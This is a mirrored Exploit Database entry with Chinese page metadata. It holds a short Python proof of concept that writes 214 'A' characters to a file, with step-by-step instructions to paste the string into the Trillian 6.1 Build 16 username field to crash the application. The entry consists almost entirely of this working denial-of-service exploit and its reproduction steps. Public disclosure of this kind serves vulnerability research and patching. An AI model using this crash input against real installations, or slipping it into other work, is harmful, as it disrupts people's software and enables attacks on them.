Trillian 6.1 Build 16 – ‘Sign In’ Denial of service (PoC)

Exploit Database
139 阅读

作者： Jose Miguel Gonzalez

日期： 2018-08-29
类别：
- dos
平台：
- windows_x86-64
来源：https://www.exploit-db.com/exploits/45301/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

#Exploit Title: Trillian 6.1 Build 16 - "Sign In" Denial of service (PoC)

#Discovery by: Jose Miguel Gonzalez

#Discovery Date; 2018-08-29

#Vendor Homepage: https://www.trillian.im/

#Software Link: https://www.trillian.im/download/

#Tested Version: 6.1 Build 16

#Tested on OS: Windows 10 Single Language x64

#Steps to produce the crash

#1.- Run the python code: trillian.py

#2.- Open trillian.txt and copy context to clipboard

#3.- Open Trillian application

#4.- Paste clipboard on "Username"

#5.- Put "1234" on "Password"

#5.- Sign In

#6.- Crashed

mem = "\x41" * 214

f = open ("trillian.txt", "w")

f.write(mem)

f.close()